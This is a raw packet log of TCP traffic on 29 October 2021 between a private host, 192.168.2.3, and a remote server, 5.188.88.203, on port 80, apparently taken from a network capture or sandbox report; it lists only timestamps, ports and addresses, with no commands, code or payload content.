Oct 29, 2021 14:10:20.933279037 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933300018 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933336973 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933373928 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933376074 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933415890 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933429956 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933453083 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933492899 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933531046 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933568001 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933582067 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933607101 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933620930 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933645964 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933675051 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933689117 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933728933 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933744907 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933767080 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933805943 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933844090 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933880091 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933893919 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.933918953 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:20.933965921 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.936897039 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:20.944686890 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.002796888 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.002856016 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.002892971 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.002932072 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.002932072 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.002971888 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003011942 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003051996 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003077030 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.003089905 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003093004 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.003129005 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003168106 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003182888 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.003207922 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003248930 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003287077 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003313065 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.003326893 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003355980 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.003367901 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003396988 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.003407001 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003446102 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003484964 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.003510952 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.003593922 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.006819963 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.006876945 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.008028984 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.013887882 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.013946056 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.013988018 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014027119 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014054060 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014055967 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014096022 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014132977 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014139891 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014147043 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014172077 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014210939 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014226913 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014252901 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014292955 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014328957 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014368057 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014381886 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014390945 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014408112 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014445066 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014461040 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014484882 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014523029 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014563084 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014569998 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014604092 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014619112 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014643908 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014683008 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014720917 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014758110 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014770985 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014780045 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014796972 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014834881 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014873028 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014887094 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014913082 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014925003 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.014950037 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.014988899 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.015038967 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.058163881 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.231280088 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.236788034 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.302870989 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.302953959 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.302994013 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.303025961 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.303036928 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.303106070 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.305962086 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306004047 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306041956 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306086063 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.306207895 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306246996 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306286097 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306323051 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306339025 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.306349039 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.306363106 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306402922 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306438923 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306477070 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306514025 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306526899 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.306535006 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.306550980 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306590080 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306651115 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.306659937 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306660891 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.306700945 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306737900 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306775093 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306813002 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306852102 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306868076 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.306876898 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.306888103 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306924105 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306961060 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.306998968 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307015896 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307023048 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307035923 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307073116 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307110071 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307128906 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307137966 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307149887 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307190895 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307228088 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307245970 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307266951 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307337999 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307378054 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307415009 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307432890 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307441950 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307447910 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307456017 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307495117 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307544947 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307565928 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307601929 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307640076 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307677984 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307702065 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307713032 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307744980 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.307784081 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307823896 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307862043 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307897091 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.307955027 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.355149031 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.372200012 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.372256041 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.372286081 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.372315884 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.372555017 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.374838114 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.374876976 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.375068903 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.375118017 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.376730919 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.376771927 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.376808882 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.376856089 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.376864910 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.376916885 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.376955032 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.376974106 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.376995087 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377032995 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377051115 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377070904 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377110004 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377151012 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377167940 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377177000 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377188921 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377228022 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377266884 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377268076 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377304077 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377342939 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377357006 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377382994 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377422094 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377460957 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377475977 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377485037 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377497911 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377537012 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377573967 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377610922 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377625942 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377633095 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377650023 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377688885 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377727032 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377765894 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377803087 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377815962 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377825975 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377840996 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377866030 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.377880096 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377917051 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377954960 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.377993107 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.378009081 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.378031969 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.378040075 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.378072023 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.378086090 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.378109932 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.378148079 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.378185987 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.378199100 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.378222942 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.378237963 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.378264904 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.378782034 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.424397945 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.424455881 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.425620079 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.441230059 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.441278934 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.441564083 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.443845034 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.443886995 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.443923950 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.443962097 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.444017887 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.444119930 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.447494984 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447537899 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447575092 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447613001 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447628021 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.447652102 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447689056 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447715998 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.447727919 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447766066 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447796106 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.447804928 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447844982 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447881937 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447881937 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.447890997 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.447921038 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447959900 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.447973967 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.447998047 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448035955 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448074102 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448112965 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448122025 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448152065 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448165894 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448190928 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448229074 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448267937 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448285103 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448306084 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448323965 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448344946 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448380947 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448419094 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448426962 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448435068 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448463917 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448499918 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448538065 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448575974 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448590040 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448612928 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448628902 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448652029 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448666096 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448690891 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448729992 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448745012 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448769093 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448806047 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448860884 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448864937 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448921919 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448961020 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.448980093 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.448999882 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.449039936 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.449053049 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.449090958 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.494652987 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.494708061 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.494877100 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.506454945 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.510305882 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.510365009 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.510881901 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.512514114 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.512552977 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.512590885 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.512622118 CEST	80	49829	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:21.512701988 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.513277054 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.513679028 CEST	49829	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:21.513777971 CEST	49829	80	192.168.2.3	5.188.88.203
